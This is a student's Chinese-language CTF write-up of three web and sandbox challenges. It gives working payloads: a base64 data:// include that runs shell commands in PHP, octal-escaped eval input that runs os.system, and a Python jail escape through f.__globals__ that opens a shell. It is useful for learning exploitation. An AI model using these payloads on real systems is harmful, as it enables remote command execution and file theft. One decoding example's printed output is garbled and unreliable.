week3 wp

> 张博翔 ------海南大学 -------20233001306

Include Me

```php
<?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>
```

根据题目大概知道要干嘛了，可以看一下phpinfo（），它的那个是`allow`的

Payload：

```
# PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g

# PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnJyk7Pz4g
?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnJyk7Pz4g
```

臭皮的计算机

```python
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

```

```python
def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

    if request.method == 'POST':
        num = request.form.get("num")
        script = f'''import os
print(eval("{num}"))
'''
        print(script)
        if waf(num):
            try:
                result_output = ''
                with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                    temp_script.write(script)
                    temp_script_path = temp_script.name

                result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                os.remove(temp_script_path)

                result_output = result.stdout if result.returncode == 0 else result.stderr
            except Exception as e:

                result_output = str(e)
            return render_template("calc.html", result=result_output)
        else:
            return render_template("calc.html", result="臭皮！你想干什么！！")
    return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=30002)
```

发现了`eval()`，但是只接受数字，我们想要执行语句，于是我们考虑使用8进制（全是数字），贴两个脚本

8进制编码码

```python
def text_to_octal(text):
    octal_string = ""
    for char in text:
        octal_value = oct(ord(char))[2:]  # 将字符转换为八进制字符串，并去掉前缀 '0o'
        octal_string += f"\\{octal_value}"
    return octal_string

# 示例文本
text = "__import__('os').system('cat /flag')"

# 转换为八进制表示的字符串
octal_string = text_to_octal(text)

print(octal_string)
```

8进制编码

```python
def octal_to_text(octal_string):
    # 去掉每个八进制值前面的反斜杠
    octal_values = octal_string.split("\\")[1:]  # 分割并去掉空字符串

    # 将每个八进制值转换为对应的字符
    characters = [chr(int(octal, 8)) for octal in octal_values]

    # 将字符数组连接成一个字符串
    result = ''.join(characters)

    return result

# 示例八进制表示的字符串
octal_string = "\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\57\\157\\163\\57\\63\\163\\171\\163\\164\\145\\155\\57\\154\\163\\57\\63"

# 解码为原始文本
decoded_text = octal_to_text(octal_string)

print(decoded_text)  # 输出: ==记革命==/os/38system2/ls/3
```

Payload:

```
\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\143\141\164\40\57\146\154\141\147\47\51
```

臭皮踩踩背

给的是一个nc的入口，我这里直接在wsl里做了

```python
#题目
你被豌豆关在一个监狱里，，，，，，
豌豆百密一疏，不小心遗漏了一些东西，，，
def ev4l(*args):
        print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了，臭皮，，
```

第一步思路：我想要触发 `secret`，我们输入 `evel`

```
> eval()
你已经拿到了钥匙，但是打开错了门，好好想想，还有什么东西是你没有理解透的？
None
```

发现只是一个字符串，试了很多次之后发现入口在`f`

Payload:

```
f.__globals__
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f877b8364c0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/main.py', '__cached__': None, 'ev4l': <function ev4l at 0x7f877b7f31f0>, 'secret': '你已经拿到了钥匙，但是打开错了门，好好想想，还有什么东西是你没有理解透的？', 'inp': 'f.__globals__', 'f': <function <lambda> at 0x7f877b6dfd30>}
f.__globals__['__builtins__'].__import__('os').system('sh')
ls
ls /
cat /flag
```

得到flag